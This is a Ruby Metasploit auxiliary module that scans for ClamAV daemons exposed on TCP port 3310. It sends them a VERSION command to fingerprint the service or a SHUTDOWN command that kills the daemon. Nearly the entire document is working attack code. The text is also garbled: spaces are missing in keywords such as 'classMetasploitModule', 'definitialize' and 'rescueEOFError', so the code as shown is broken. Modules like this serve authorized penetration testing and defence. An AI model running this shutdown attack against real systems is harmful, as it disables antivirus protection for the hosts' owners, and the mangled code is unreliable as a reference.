|  
 require 'msf/core'
  
 classMetasploitModule < Msf::Auxiliary 
   include Msf::Exploit::Remote::Tcp 
   include Msf::Auxiliary::Scanner 
   definitialize(info = {}) 
     super( 
       update_info( 
         info, 
         'Name'=> 'ClamAV Remote Command Transmitter', 
         'Description'=> %q( 
           In certain configurations, ClamAV will bind to all addresses andlisten forcommands. 
           This modulesends properly-formatted commands to the ClamAV daemon ifit is insuch a 
           configuration. 
         ), 
         'Author'=> [ 
           'Alejandro Hdeza', 
           'bwatters-r7',     
           'wvu'
         ], 
         'License'=> MSF_LICENSE, 
         'References'=> [ 
         ], 
         'DisclosureDate'=> 'Jun 8 2016', 
         'Actions'=> [ 
           [ 'VERSION',  'Description'=> 'Get Version Information'], 
           [ 'SHUTDOWN', 'Description'=> 'Kills ClamAV Daemon'] 
         ], 
         'DefaultAction'=> 'VERSION'
       ) 
     ) 
     register_options( 
       [ 
         Opt::RPORT(3310) 
       ], self.class
     ) 
   end
  
   defrun_host(_ip) 
     begin
       connect 
       sock.put(action.name + "\n") 
       print_good(sock.get_once) 
     rescueEOFError 
       print_good('Successfully shut down ClamAV Service') 
     ensure
       disconnect 
     end
   end
 end
 
 |